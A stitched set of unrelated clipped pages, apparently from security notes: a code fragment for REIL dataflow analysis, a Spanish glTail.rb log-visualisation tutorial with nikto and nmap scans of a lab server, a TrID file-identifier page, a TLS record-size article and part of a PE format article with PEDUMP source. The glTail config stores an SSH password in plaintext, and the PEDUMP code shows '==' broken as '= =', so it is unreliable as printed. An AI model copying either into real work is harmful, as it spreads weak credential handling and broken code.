`31`| ` ``#out is defined as: gen U (inVal - kill)`  
---|---  
`32`| ` ``transformed_state.out.update(gen.union(`  
---|---  
`33`| ` ``transformed_state.inVal.difference(kill)))`  
---|---  
`34`|  
---|---  
`35`| ` ``return` `transformed_state`  
---|---  
  
Finally let’s glue the code together:  

`01`| `def` `doAnalysis(``self``): `  
---|---  
`02`|  
---|---  
`03`| ` ``# Generally the monotone framework works on graphs where each node
represents`  
---|---  
`04`| ` ``# a REIL instruction. For this reason there is a helper function
that creates`  
---|---  
`05`| ` ``# this instruction graph from a REIL graph.`  
---|---  
`06`| ` ``self``.instGraph ``=`
`InstructionGraph.create(``self``.reilGraph.graph)`  
---|---  
`07`|  
---|---  
`08`| ` ``# Define the lattice used by the monotone framework.`  
---|---  
`09`| ` ``lattice ``=` `SkeletonLattice()`  
---|---  
`10`|  
---|---  
`11`| ` ``# Generate the initial state vector.`  
---|---  
`12`| ` ``startVector ``=` `generateStartVector(``self``.instGraph)`  
---|---  
`13`|  
---|---  
`14`| ` ``# Define the transformations used by the monotone framework.`  
---|---  
`15`| ` ``transformationProvider ``=` `SkeletonTransformationProvider()`  
---|---  
`16`|  
---|---  
`17`| ` ``# Reaching definitions starts at the beginning of a function and
moves`  
---|---  
`18`| ` ``# downwards, so we use the default DownWalker class to move through`  
---|---  
`19`| ` ``# the graph.`  
---|---  
`20`| ` ``walker ``=` `DownWalker()`  
---|---  
`21`|  
---|---  
`22`| ` ``# Use the monotone framework to find what registers are defined by
the current function.`  
---|---  
`23`| ` ``solver ``=` `MonotoneSolver(``self``.instGraph, lattice,
startVector, transformationProvider, walker)`  
---|---  
`24`| ` ``results ``=` `solver.solve()`  
---|---  
`25`|  
---|---  
`26`| ` ``return` `results`  
---|---  
  
How does this help us with out initial problem?  
In a loop we are interested in the store to memory REIL instruction “stm”, so
if the last operand wasn’t present in the reach\_in state it means that either
is a literal \(fixed memory location\) or it’s a register whose value was
inherited from another function \(but hey interprocedural analysis is
\*hard\*\). If instead the last operand is present the stm is likely to be
writing memory to a variable location hence the loop is interesting for us.  

`01`| `results ``=` `self``.doAnalysis()`  
---|---  
`02`|  
---|---  
`03`| ` ``for` `node ``in` `self``.instGraph:`  
---|---  
`04`| ` ``if` `node.getInstruction().getAddress() ``not` `in`
`self``.addresses:`  
---|---  
`05`| ` ``continue`  
---|---  
`06`| ` ``for` `(operand, address) ``in` `results.getState(node).inVal:`  
---|---  
`07`| ` ``if` `node.getInstruction().thirdOperand ``=``=` `operand:`  
---|---  
`08`| ` ``return` `False`  
---|---  
`09`|  
---|---  
`10`| ` ``return` `True`  
---|---

# glTail.rb. Visualización gráfica en tiempo real de ficheros logs en
servidores.

**Created:**| _5/28/2017 11:06:39 AM_  
---|---  
**Updated:**| _5/28/2017 11:06:39 AM_  
**Author:**| __  
**Tags:**| _visualization_  
  

  

## glTail.rb. Visualización gráfica en tiempo real de ficheros logs en
servidores.

Publicado el 16 septiembre, 2011 por Alfon

##### Hemos visto muchas herramientas para**visualización gráfica de capturas
de red** , logs, etc. Tenéis mucha más información y artículos en la serie
creada al respecto: Visualización gráfica tráfico de red.

##### En esta ocasión vamos a estudiar una heramienta desarrollada en ruby
que, conectando a un servidor local o remoto mediante SSH, es capaz
de**mostrar en tiempo real****una serie de datos que toma de los ficheros
logs**. De esta forma es capaz de mostrar datos de logs de herramientas como
Apache, Rails, IIS, Postfix/spamd/clamd, Nginx, Squid, PostgreSQL, PureFTPD,
MySQL, Tshark, qmail/vmpop3d. Además es capaz de mostrarlos de forma
simultánea. Esta herramiente es **glTail.rb**.

##### <img src='img/gltail-03.png' width='219' height='145' />Muestra, en
tiempo real, datos como: **dirección de orígen/destino** , **protocolos
usados** , **peticiones por minuto** , **ancho de banda** , etc.

# Instalando glTail.rb.

Para instalar **glTail.rb** he seguido la siguiente secuencia:

sudo apt-get install rubygems rake ruby1.8-dev libgl1-mesa-dev libglu1-mesa-
dev libglut3-dev build-essential  
sudo gem install net-ssh ruby-opengl -r

sudo gem install -y file-tail -r

**Ahora descargamos glTail.rb** :

wget http://rubyforge.org/frs/download.php/39787/gltail-0.1.8.tgz  
tar -zxf gltail-0.1.8.tgz  
cd gltail-0.1.8

Ahora tenemos que modificar / personalizar el archivo **config.yaml** que se
ubica en **gltail-0.1.8/dist** /**config.yaml** para incluir lo servidores y
comentar lo que no proceda. En mi caso y para este primer ejemplo:

#### servers:  
site1:  
host: **192.168.1.96**  
user: **preludeids**  
password: **tatachintatachan**  
command: tail -f -n0  
\#files: /var/log/apache/access\_log  
**files: /var/log/apache2/other\_vhosts\_access.log**  
parser: apache  
color: 0.2, 1.0, 0.2, 1.0  
\# rails:  
\# host: anotherfunsite.com  
\# user: anotherfunuser  
\# port: 222  
\# command: tail -f -n0  
\# files: /var/www/apps/funapp/current/log/production.log  
\# parser: rails  
\# color: 0.2, 0.2, 1.0, 1.0  
\# dev:  
\# host: clockingit.com  
\# source: local  
\# files: /var/www/clockingit/logs/production.log  
\# parser: rails  
\# color: 0.2, 0.2, 1.0, 1.0

**¿ Qué hemos hecho ?.**

Hemos indicado para el **site1** la IP del host remoto, usuario y contraseña
para conectar mediante **SSH** y en files la ubicación del archivo log de
**apache**.

Este sería una configuración de los más simple. Podríamos configurar dos
fuentes de datos. Por ejemplo logs de Apache y Tshark:

<img src='img/gltail-01.png' width='481' height='912' />

Observad como he sustutuido el por defecto site1 por algo más personalizado
para mi server donde se ubica **prewikka** \(SIEM Prelude IDS / IPS\) y otro
para la ubicación de un log de **Tshark** donde estoy ejecutando esta
herramienta en tiempo real.

La línea de comandos simple para volcar la salida de **tshark** en un
**fichero log** sería:

tshark -ieth0 > tshark.log

También podemos, en el **tag config** , modificar dimensiones, tamaño de
nodos, etc.

# Ejecutando glTail.rb.

## Ejemplo.1

En este primer ejemplo voy a usar un solo site. Un servidor**HTTP Apache** :

####  prewikka\_1:  
host: **192.168.1.96**  
user: **preludeids**  
password: **tatachintatachan**  
command: tail -f -n0  
\#files: /var/log/apache/access\_log  
**files: /var/log/apache2/other\_vhosts\_access.log**  
parser: apache  
color: 0.2, 1.0, 0.2, 1.0

Una vez salvado el archivo y dentro de la carpeta **bin** donde se encuentra
**gl\_tail** , ejecutamos de la forma:

alfon@alfonubuntu:~/gltail-0.1.8/bin$ **./gl\_tail ../dist/config.yaml**

El resultado es:

<img src='img/gltail-02.png' width='640' height='295' />

Tenemos 3 columnas:

  * **Columna izquierda**. Tenemos información del site o sites. En este caso el site \(prewikka\_1\). Vemos un resúmen del contenido de las peticiones \(imagenes, hojas de estilo, javascript..\). Status HTTP y usuarios, en este aso dos IP que realizan peticiones al servidorHTTP Apache junto a las peticiones o requests por minuto \(r/m\).
  * **Columna central**. Representa la información grafica, en tiempo real de los request o peticiones \(de izquierda a derecha\) y las respuestas del servidor mediante nodos en 3D. El tamaño corresponde al “volumen” de la petición. Como respuesta del servidor, tendremos otros nodos que irán de derecha a izquierda.
  * **Columna derecha**. Información sobre las URLs requeridas por el origen de las peticiones junto a requests/minuto. Información de User Agent usado por el user o usuario que realiza las peticiones.

La información de las columnas varian dependiendo del **parser** usado. En
este caso se trata del parse apache. Para Tshark, Poxfix, etc sería distinta
la información.

Sobre **visualización gráfica de logs de apache** tenéis también:

#### Representación gráfica Apache access.log con apache2dot y Graphviz

## Ejemplo.2

Bien, ahora vamos a usar **Inguma-0.4** y **nikto** para realizar una
**auditoría del sitio web** y vamos a observar el tráfico. El resultado es:

<img src='img/13490_gltail-03.png' width='640' height='426' />

Observad la cantidad de requerst / minuto que genera nikto y en la columna de
la derecha aparece una nueva columna: **WARNINGS**. código 404.

El **User Agent** , que no se aprecia bien en la captura, es **Python
urllib/2.6**. **GlTail** ha detectado que se trata de un script de python.

Si realizáis esta prueba veréis en movimiento \(tiempo real\) todas estas
“transacciones” y los nodos más pequeños de respuestas del servidor \(de
derecha a izquierda\).

## Ejemplo.3

Ahora voy a desactivar le site prewikka\_1 y activar el site
y**parser**Tshark. Ponemos en marcha Tshark.

sudo tshark -ieth0 > tshark.log

Ahora para probar realizo un scan con nmap.

En este caso solo tendremos información en columna izquierda y central:

<img src='img/gltail-05.png' width='640' height='466' />

Aquí vemos un nuevo tag de información que es **TYPE**. Referidos a los
protocolos. En este caso **TCP** con **293.04 r/m**.

==========

Hasta aqui por hoy. Hasta la próxima.

Anuncios

### Tu voto:

Rate This

### Share this:

  * Twitter
  * Facebook
  * 

 Me gusta

Sé el primero en decir que te gusta.

### _Relacionado_

Representación gráfica Apache access.log con apache2dot y GraphvizEn
"AfterGlow."

Visualización gráfica de ficheros .pcap con AfterGlow.En "AfterGlow."

Analizando capturas .pcap TCP con tcptrace. Generación de gráficas con Xplot.
Parte 3. Xtraffic.En "Seguridad y redes"

Esta entrada fue publicada en Seguridad y redes. Guarda el enlace permanente.

  

# Marco Pontello's Home - Software - TrID

**Created:**| _9/29/2009 9:14:40 PM_  
---|---  
**Updated:**| _9/29/2009 9:14:51 PM_  
**Author:**| __  
**Tags:**| _security tools Malware-analysis_  
  

## TrID - File Identifier

TrID is an utility designed to identify file types from their binary
signatures. While there are similar utilities with hard coded rules, TriID has
no such rules. Instead, it is extensible and can be trained to recognize new
formats in a fast and automatic way.

TrID has many uses: identify what kind of file was sent to you via e-mail, aid
in forensic analysis, support in file recovery, etc.

TrID uses a database of definitions which describe recurring patterns for
supported file types. As this is subject to very frequent update, it's made
available as a separate package. Just download both TrID and this archive and
unpack in the same folder.  

The database of definitions is constantly expanding; the more that are
available, the more accurate an analysis of an unknown file can be. You can
help\! Use the program to both recognize unknown file types and develop new
definitions that can be added to the library. See theTrIDScan page for
information about how you can help. Just run the TrIDScan module against a
number of files of a given type. The program will do the rest.

Because TrID uses an expandable database it will never be out of date. As new
file types become available you can run the scan module against them and help
keep the program up to date. Other people around the world will be doing the
same thing making the database a dynamic and living thing. If you have special
file formats that only you use, you can also add them to your local database,
making their identification easier.

To get you started, the current library of definitions is up to 3837 file
types and growing fast.

TrID is simple to use. Just run TrID and point it to the file to be analyzed.
The file will be read and compared with the definitions in the database.
Results are presented in order of highest probability.

[code]

     C:\TrID>trid c:\test\doc\lasik_info.doc
    
     TrID/32 - File Identifier v2.02 - (C) 2003-06 By M.Pontello          
    
     Collecting data from file: c:\test\doc\lasik_info.doc
     Definitions found: 1959
     Analyzing...
    
      70.7% (.DOC) Microsoft Word document (58000/1/5)
      29.3% (.) Generic OLE2 / Multistream Compound File (24000/1)
    
[/code]  
---
[code]

     C:\TrID>trid c:\Download\AvBatEx.bav
    
     TrID/32 - File Identifier v2.02 - (C) 2003-06 By M.Pontello
    
     Collecting data from file: f:\Download\AvBatEx.bav
     Definitions found: 1959
     Analyzing...
    
      75.8% (.BAV) The Bat! Antivirus plugin (187530/5/21)
      15.2% (.EXE) Win32 Executable MS Visual C++ (generic) (37706/45/16) 
       4.3% (.EXE) Win32 Executable Generic (10527/13/4)
       3.1% (.DLL) Win32 Dynamic Link Library (generic) (7600/42/2)
       0.8% (.EXE) Generic Win/DOS Executable (2002/3)
    
[/code]  
---  
Wildcards can be used to scan groups of files, entire folders, etc. In
addition, using the switch `**-ae**` will instruct TrID to add the guessed
extensions to the filenames. This come handy, for example, when working with
files recovered by data rescue softwares. For example:

[code]

     C:\TrID>trid c:\temp\* -ae
    
     TrID/32 - File Identifier v2.02 - (C) 2003-06 By M.Pontello          
     Definitions found:  1969
     Analyzing...
    
     File: c:\temp\FILE0001.CHK
      75.8% (.BAV) The Bat! Antivirus plugin (187530/5/21)
    
     File: c:\temp\FILE0002.CHK
      77.8% (.OGG) OGG Vorbis Audio (14014/3)
    
     File: c:\temp\FILE0003.CHK
      86.0% (.DOC) Microsoft Word document (49500/1/4)
    
     File: c:\temp\FILE0004.CHK
      42.6% (.EXE) UPX compressed Win32 Executable (30569/9/7)
    
      4 file(s) renamed.
    
[/code]  
---  
At this point, the files in the c:\temp folder will look like:

` FILE0001.CHK.bav  
FILE0002.CHK.ogg  
FILE0003.CHK.doc  
FILE0004.CHK.exe  
`

It's possible to tell TrID to show some more information about every match
\(such as who created that definition, how many files were scanned, etc.\);
and it's also possible to limit the number of results shown.  
The switch `**-v**` activate the verbose mode, and `**-r:nn**` specifies the
max number of matches that TrID will display. Default is 5 for normal mode, 2
for verbose, 1 for multi-files analysis.

[code]

     C:\TrID>trid "c:\t\Windows XP Startup.ogg" -v -r:2
    
     TrID/32 - File Identifier v2.02 - (C) 2003-06 By M.Pontello          
    
     Collecting data from file: c:\t\Windows XP Startup.ogg
     Definitions found: 1959
     Analyzing...
    
      77.8% (.OGG) OGG Vorbis Audio (14014/3)
            Author       : Marco Pontello
              E-Mail     : marcopon@nospam@myrealbox.com
              Home Page  : http://mark0.net
            Definition   : audio-ogg-vorbis.trid.xml
              Files      : 35
    
      22.2% (.OGG) OGG stream (generic) (4000/1)
            Author       : Marco Pontello
              E-Mail     : marcopon@nospam@myrealbox.com
              Home Page  : http://mark0.net
            Definition   : ogg-stream.trid.xml
              Files      : 35
    
[/code]  
---  
When starting, TrID will check for the TrIDDefs.TRD definitions package in the
current directory. If not found, it will search on the some folder where TrID
is installed. Eventually, it's possible to specify a particular defs file with
the switch `**-d:filespec**`. To force TrID to wait for a key after showing
the results, the `**-w**` switch is provided.

  
For any info or question, feel free to contact me or take a look in the
forum\!  
  
  
---  
### Download

TrID is free for personal / non commercial use.

Win32 |  TrID v2.02, 25KB ZIP  
---|---  
Linux/x86 |  TrID v2.00, 28KB ZIP  
|  TrIDDefs.TRD package, 471KB ZIP \(3837 file types, 25/09/09\)  

# Optimizing TLS Record Size & Buffering Latency - igvita.com

**Created:**| _10/25/2013 7:53:02 AM_  
---|---  
**Updated:**| _10/25/2013 8:51:48 AM_  
**Author:**| __  
**Tags:**| _crypto performance ssl cache_  
  

# **O** ptimizing TLS Record Size & Buffering Latency****

By Ilya Grigorik on **October 24, 2013**

  

<img src='img/Temp2_5977.png' width='152' height='157' />

**TLS record size can have significant impact on the page load time
performance of your application**.**** In fact, in the worst case, which
unfortunately is also the most common case on the web today, it can delay
processing of received data by up to several roundtrips**\!** On mobile
networks, this can translate to hundreds of milliseconds of unnecessary
latency**.**

  

The good news is, this is a relatively simple thing to fix if your TLS server
supports it**.** However, first let's take a step back and understand the
problem: **what is a TLS record, why do we need it, and why does record size
affect latency of our applications**?****

## Encryption, authentication, and data integrity****

TLS provides three essential services: encryption, authentication, and data
integrity **.** Encryption obfuscates the data, authentication provides a
mechanism to verify the identity of the peer, and integrity provides a
mechanism to detect message tampering and forgery**.**

Each TLS connection begins with a handshake where the peers negotiate the
ciphersuite, establish the secret keys for the connection, and authenticate
their identities \(on the web, typically we only authenticate the identity of
the server - e.g. is this really my bank**?**\). Once these steps are
complete, we can begin transferring application data between the client and
server**.** This is where data integrity and record size optimization enter
into the picture**.**

<img src='img/Temp2_5973.png' />

Before the application data is encrypted, it is divided into smaller chunks of
up to 16KB in size and each of the resulting pieces is signed with a message
authentication code \(MAC\)**.** The resulting data chunk is then encrypted,
and the MAC, plus some other protocol metadata forms a “TLS record”, which is
then forwarded to the peer:

<img src='img/Temp2_5975.png' />

The receiver reverses the sequence**.** First, the bytes are aggregated until
one or more complete records are in the buffer \(as above diagram shows, each
record specifies its length in the header\), and once the entire record is
available, the payload is then decrypted, the MAC is computed once more for
the decrypted data, and is finally verified against the MAC contained in the
record**.** If the two hashes match, data integrity is assured, and TLS
finally releases the data to the application above it**.**

## Head-of-line blocking, TLS records, and latency****

TLS runs over TCP, and TCP promises in order delivery of all transferred
packets**.** As a result, TCP suffers from head-of-line \(HOL\) blocking where
a lost packet may hold all other received packets in the buffer until it is
successfully retransmitted - otherwise, the packets would be delivered out of
order**\!** This is a well-known tradeoff for any protocol that runs on top of
a reliable and in-order transport like TCP**.**

However, in case of TLS, we have an extra layer of buffering due to the
integrity checks**\!** Once TCP delivers the packets to the TLS layer above
it, we must first accumulate the entire record, then verify its MAC checksum,
and only when that passes, can we release the data to the application above
it**.** As a result, if the server emits data in 16KB record chunks, then the
receiver must also read data 16KB at a time**.**

<img src='img/Temp2_5974.png' />

In other words, **even if the receiver has 15KB of the record in the buffer
and is waiting for the last packet to complete the 16KB record, the
application can't read it until the entire record is received and the MAC is
verified** \- therein lies our latency problem**\!** If any packet is lost, we
will incur a minimum of an additional RTT to retransmit it**.** Similarly, if
the record happens to exceed the current TCP congestion window, then it will
take a minimum of two RTTs before the application can process sent data**.**

## Eliminating TLS latency****

The larger the TLS record size, the higher the likelihood that we may incur an
additional roundtrip due to a TCP retransmission or "overflow" of the
congestion window**.** That said, the fix is also relatively simple: **send
smaller records**.**** In fact, to eliminate this problem entirely, configure
your TLS record size to fit into a single TCP segment**.**

<img src='img/Temp2_5976.png' />

If the TCP congestion window is small \(i**.** e. during slow-start\), or if
we're sending interactive data that should be processed as soon as possible
\(in other words, most HTTP traffic\), **then small record size helps mitigate
costly latency overhead of yet another layer of buffering****.**

## Configuring your TLS server****

The bad news is that many TLS servers do not provide an easy way to configure
TLS record size and instead use the default maximum of 16 KB**.** The good
news is, if you are using HAProxy to terminate TLS, then you are in luck, and
otherwise, you may need to fiddle with the source of your server \(assuming it
is open source\):

  * HAProxy exposes tune.ssl.maxrecord as a config option**.**
  * Nginx hardcodes 16KB size in ngx\_event\_openssl, which you can change and recompile from source**.**
  * For other servers, check the documentation**\!**

Web browsing is latency bound and eliminating extra roundtrips is critical for
delivering better performance**.** All Google servers are configured to begin
new connections with TLS records that fit into a single network segment - it
is critical to get useful data to the client as quickly as possible**.** Your
server should do so as well\!

_P**.** S. For more TLS optimization tips, check out the TLS chapter in High
Performance Browser Networking **.**_

****

# Peering Inside the PE: A Tour of the Win32 Portable Executable File Format

**Created:**| _5/30/2010 12:09:01 PM_  
---|---  
**Updated:**| _5/30/2010 12:09:28 PM_  
**Author:**| __  
**Tags:**| _windows reversing windows environment_  
  

HomeLibraryLearnDownloadsSupportCommunity| Sign in |Deutschland - Deutsch
|Preferences  
---|---  
<img src='img/Temp2_6181.gif' />| | <img src='img/Temp2_6187.gif' />| <img src='img/Temp2_6181.gif' />  
---|---|---|---  
MSDN Library

Windows Development

Technical Articles

Diagnostics

Debugging and Error Handling

Peering Inside the PE: A Tour of the Win32 Portable Executable File Format

<img src='img/Temp2_6181.gif' alt='Separator' />

<img src='img/Temp2_6181.gif' /><img src='img/Temp2_6181.gif' />

<img src='img/Temp2_6181.gif' alt='MSDN' />

Debugging and Error Handling Technical Articles

Peering Inside the PE: A Tour of the Win32 Portable Executable File Format

Matt Pietrek

March 1994

 _Matt Pietrek is the author of_ Windows Internals _\(Addison-Wesley, 1993\).
He works at Nu-Mega Technologies Inc., and can be reached via CompuServe:
71774,362_

 _This article is reproduced from the March 1994 issue of_ Microsoft Systems
Journal _. Copyright © 1994 by Miller Freeman, Inc. All rights are reserved.
No part of this article may be reproduced in any fashion \(except in brief
quotations used in critical articles and reviews\) without the prior consent
of Miller Freeman._

_To contact Miller Freeman regarding subscription information, call \(800\)
666-1084 in the U.S., or \(303\) 447-9330 in all other countries. For other
inquiries, call \(415\) 358-9500._

  

The format of an operating system's executable file is in many ways a mirror
of the operating system. Although studying an executable file format isn't
usually high on most programmers' list of things to do, a great deal of
knowledge can be gleaned this way. In this article, I'll give a tour of the
Portable Executable \(PE\) file format that Microsoft has designed for use by
all their Win32®-based systems: Windows NT®, Win32s™, and Windows® 95. The PE
format plays a key role in all of Microsoft's operating systems for the
foreseeable future, including Windows 2000. If you use Win32s or Windows NT,
you're already using PE files. Even if you program only for Windows 3.1 using
Visual C++®, you're still using PE files \(the 32-bit MS-DOS® extended
components of Visual C++ use this format\). In short, PEs are already
pervasive and will become unavoidable in the near future. Now is the time to
find out what this new type of executable file brings to the operating system
party.

I'm not going to make you stare at endless hex dumps and chew over the
significance of individual bits for pages on end. Instead, I'll present the
concepts embedded in the PE file format and relate them to things you
encounter everyday. For example, the notion of thread local variables, as in

Copy

[code]

    declspec(thread) int i;
    
    
[/code]

drove me crazy until I saw how it was implemented with elegant simplicity in
the executable file. Since many of you are coming from a background in 16-bit
Windows, I'll correlate the constructs of the Win32 PE file format back to
their 16-bit NE file format equivalents.

In addition to a different executable format, Microsoft also introduced a new
object module format produced by their compilers and assemblers. This new OBJ
file format has many things in common with the PE executable format. I've
searched in vain to find any documentation on the new OBJ file format. So I
deciphered it on my own, and will describe parts of it here in addition to the
PE format.

It's common knowledge that Windows NT has a VAX® VMS® and UNIX® heritage. Many
of the Windows NT creators designed and coded for those platforms before
coming to Microsoft. When it came time to design Windows NT, it was only
natural that they tried to minimize their bootstrap time by using previously
written and tested tools. The executable and object module format that these
tools produced and worked with is called COFF \(an acronym for Common Object
File Format\). The relative age of COFF can be seen by things such as fields
specified in octal format. The COFF format by itself was a good starting
point, but needed to be extended to meet all the needs of a modern operating
system like Windows NT or Windows 95. The result of this updating is the
Portable Executable format. It's called "portable" because all the
implementations of Windows NT on various platforms \(x86, MIPS®, Alpha, and so
on\) use the same executable format. Sure, there are differences in things
like the binary encodings of CPU instructions. The important thing is that the
operating system loader and programming tools don't have to be completely
rewritten for each new CPU that arrives on the scene.

The strength of Microsoft's commitment to get Windows NT up and running
quickly is evidenced by the fact that they abandoned existing 32-bit tools and
file formats. Virtual device drivers written for 16-bit Windows were using a
different 32-bit file layout—the LE format—long before Windows NT appeared on
the scene. More important than that is the shift of OBJ formats. Prior to the
Windows NT C compiler, all Microsoft compilers used the Intel OMF \(Object
Module Format\) specification. As mentioned earlier, the Microsoft compilers
for Win32 produce COFF-format OBJ files. Some Microsoft competitors such as
Borland and Symantec have chosen to forgo the COFF format OBJs and stick with
the Intel OMF format. The upshot of this is that companies producing OBJs or
LIBs for use with multiple compilers will need to go back to distributing
separate versions of their products for different compilers \(if they weren't
already\).

The PE format is documented \(in the loosest sense of the word\) in the
WINNT.H header file. About midway through WINNT.H is a section titled "Image
Format." This section starts out with small tidbits from the old familiar MS-
DOS MZ format and NE format headers before moving into the newer PE
information. WINNT.H provides definitions of the raw data structures used by
PE files, but contains only a few useful comments to make sense of what the
structures and flags mean. Whoever wrote the header file for the PE format
\(the name Michael J. O'Leary keeps popping up\) is certainly a believer in
long, descriptive names, along with deeply nested structures and macros. When
coding with WINNT.H, it's not uncommon to have expressions like this:

Copy

[code]

    pNTHeader->
    OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
    
    
[/code]

To help make logical sense of the information in WINNT.H, read the Portable
Executable and Common Object File Format Specification, available on MSDN
Library quarterly CD-ROM releases up to and including October 2001.

Turning momentarily to the subject of COFF-format OBJs, the WINNT.H header
file includes structure definitions and typedefs for COFF OBJ and LIB files.
Unfortunately, I've been unable to find any documentation on this similar to
that for the executable file mentioned above. Since PE files and COFF OBJ
files are so similar, I decided that it was time to bring these files out into
the light and document them as well.

Beyond just reading about what PE files are composed of, you'll also want to
dump some PE files to see these concepts for yourself. If you use Microsoft®
tools for Win32-based development, the DUMPBIN program will dissect and output
PE files and COFF OBJ/LIB files in readable form. Of all the PE file dumpers,
DUMPBIN is easily the most comprehensive. It even has a nifty option to
disassemble the code sections in the file it's taking apart. Borland users can
use TDUMP to view PE executable files, but TDUMP doesn't understand the COFF
OBJ files. This isn't a big deal since the Borland compiler doesn't produce
COFF-format OBJs in the first place.

I've written a PE and COFF OBJ file dumping program, PEDUMP \(see Table 1\),
that I think provides more understandable output than DUMPBIN. Although it
doesn't have a disassembler or work with LIB files, it is otherwise
functionally equivalent to DUMPBIN, and adds a few new features to make it
worth considering. The source code for PEDUMP is available on any MSJ bulletin
board, so I won't list it here in its entirety. Instead, I'll show sample
output from PEDUMP to illustrate the concepts as I describe them.

**Table 1. PEDUMP.C**

Copy

[code]

    //--------------------
    // PROGRAM: PEDUMP
    // FILE:    PEDUMP.C
    // AUTHOR:  Matt Pietrek - 1993
    //--------------------
    #include <windows.h>
    #include <stdio.h>
    #include "objdump.h"
    #include "exedump.h"
    #include "extrnvar.h"
    
    // Global variables set here, and used in EXEDUMP.C and OBJDUMP.C
    BOOL fShowRelocations = FALSE;
    BOOL fShowRawSectionData = FALSE;
    BOOL fShowSymbolTable = FALSE;
    BOOL fShowLineNumbers = FALSE;
    
    char HelpText[] = 
    "PEDUMP - Win32/COFF .EXE/.OBJ file dumper - 1993 Matt Pietrek\n\n"
    "Syntax: PEDUMP [switches] filename\n\n"
    "  /A    include everything in dump\n"
    "  /H    include hex dump of sections\n"
    "  /L    include line number information\n"
    "  /R    show base relocations\n"
    "  /S    show symbol table\n";
    
    // Open up a file, memory map it, and call the appropriate dumping routine
    void DumpFile(LPSTR filename)
    {
        HANDLE hFile;
        HANDLE hFileMapping;
        LPVOID lpFileBase;
        PIMAGE_DOS_HEADER dosHeader;
        
        hFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL,
                            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
                        
        if ( hFile = = INVALID_HANDLE_VALUE )
        {   printf("Couldn't open file with CreateFile()\n");
            return; }
        
        hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
        if ( hFileMapping = = 0 )
        {   CloseHandle(hFile);
            printf("Couldn't open file mapping with CreateFileMapping()\n");
            return; }
        
        lpFileBase = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
        if ( lpFileBase = = 0 )
        {
            CloseHandle(hFileMapping);
            CloseHandle(hFile);
            printf("Couldn't map view of file with MapViewOfFile()\n");
            return;
        }
    
        printf("Dump of file %s\n\n", filename);
        
        dosHeader = (PIMAGE_DOS_HEADER)lpFileBase;
        if ( dosHeader->e_magic = = IMAGE_DOS_SIGNATURE )
           { DumpExeFile( dosHeader ); }
        else if ( (dosHeader->e_magic = = 0x014C)    // Does it look like a i386
                  && (dosHeader->e_sp = = 0) )        // COFF OBJ file???
        {
            // The two tests above aren't what they look like.  They're
            // really checking for IMAGE_FILE_HEADER.Machine = = i386 (0x14C)
            // and IMAGE_FILE_HEADER.SizeOfOptionalHeader = = 0;
            DumpObjFile( (PIMAGE_FILE_HEADER)lpFileBase );
        }
        else
            printf("unrecognized file format\n");
        UnmapViewOfFile(lpFileBase);
        CloseHandle(hFileMapping);
        CloseHandle(hFile);
    }
    
    // process all the command line arguments and return a pointer to
    // the filename argument.
    PSTR ProcessCommandLine(int argc, char *argv[])
    {
        int i;
        
        for ( i=1; i < argc; i++ )
        {
            strupr(argv[i]);
            
            // Is it a switch character?
            if ( (argv[i][0] = = '-') || (argv[i][0] = = '/') )
            {
                if ( argv[i][1] = = 'A' )
                {   fShowRelocations = TRUE;
                    fShowRawSectionData = TRUE;
                    fShowSymbolTable = TRUE;
                    fShowLineNumbers = TRUE; }
                else if ( argv[i][1] = = 'H' )
                    fShowRawSectionData = TRUE;
                else if ( argv[i][1] = = 'L' )
                    fShowLineNumbers = TRUE;
                else if ( argv[i][1] = = 'R' )
                    fShowRelocations = TRUE;
                else if ( argv[i][1] = = 'S' )
                    fShowSymbolTable = TRUE;
            }
            else    // Not a switch character.  Must be the filename
            {   return argv[i]; }
        }
    }
    
    int main(int argc, char *argv[])
    {
        PSTR filename;
        
        if ( argc = = 1 )
        {   printf(    HelpText );
            return 1; }
        
        filename = ProcessCommandLine(argc, argv);
        if ( filename )
            DumpFile( filename );
        return 0;
    }
      
    
[/code]

## Win32 and PE Basic Concepts

Let's go over a few fundamental ideas that permeate the design of a PE file
\(see Figure 1\). I'll use the term "module" to mean the code, data, and
resources of an executable file or DLL that have been loaded into memory.
Besides code and data that your program uses directly, a module is also
composed of the supporting data structures used by Windows to determine where
the code and data is located in memory. In 16-bit Windows, the supporting data
structures are in the module database \(the segment referred to by an
HMODULE\). In Win32, these data structures are in the PE header, which I'll
explain shortly.

`<img src='img/Temp2_6182.gif' />`

**Figure 1. The PE file format**

The first important thing to know about PE files is that the executable file
on disk is very similar to what the module will look like after Windows has
loaded it. The Windows loader doesn't need to work extremely hard to create a
process from the disk file. The loader uses the memory-mapped file mechanism
to map the appropriate pieces of the file into the virtual address space. To
use a construction analogy, a PE file is like a prefabricated home. It's
essentially brought into place in one piece, followed by a small amount of
work to wire it up to the rest of the world \(that is, to connect it to its
DLLs and so on\). This same ease of loading applies to PE-format DLLs as well.
Once the module has been loaded, Windows can effectively treat it like any
other memory-mapped file.

This is in marked contrast to the situation in 16-bit Windows. The 16-bit NE
file loader reads in portions of the file and creates completely different
data structures to represent the module in memory. When a code or data segment
needs to be loaded, the loader has to allocate a new segment from the global
heap, find where the raw data is stored in the executable file, seek to that
location, read in the raw data, and apply any applicable fixups. In addition,
each 16-bit module is responsible for remembering all the selectors it's
currently using, whether the segment has been discarded, and so on.

For Win32, all the memory used by the module for code, data, resources, import
tables, export tables, and other required module data structures is in one
contiguous block of memory. All you need to know in this situation is where
the loader mapped the file into memory. You can easily find all the various
pieces of the module by following pointers that are stored as part of the
image.

Another idea you should be acquainted with is the Relative Virtual Address
\(RVA\). Many fields in PE files are specified in terms of RVAs. An RVA is
simply the offset of some item, relative to where the file is memory-mapped.
For example, let's say the loader maps a PE file into memory starting at
address 0x10000 in the virtual address space. If a certain table in the image
starts at address 0x10464, then the table's RVA is 0x464.

Copy

[code]

     (Virtual address 0x10464)-(base address 0x10000) = RVA 0x00464
    
    
[/code]

To convert an RVA into a usable pointer, simply add the RVA to the base
address of the module. The base address is the starting address of a memory-
mapped EXE or DLL and is an important concept in Win32. For the sake of
convenience, Windows NT and Windows 95 uses the base address of a module as
the module's instance handle \(HINSTANCE\). In Win32, calling the base address
of a module an HINSTANCE is somewhat confusing, because the term "instance
handle" comes from 16-bit Windows. Each copy of an application in 16-bit
Windows gets its own separate data segment \(and an associated global handle\)
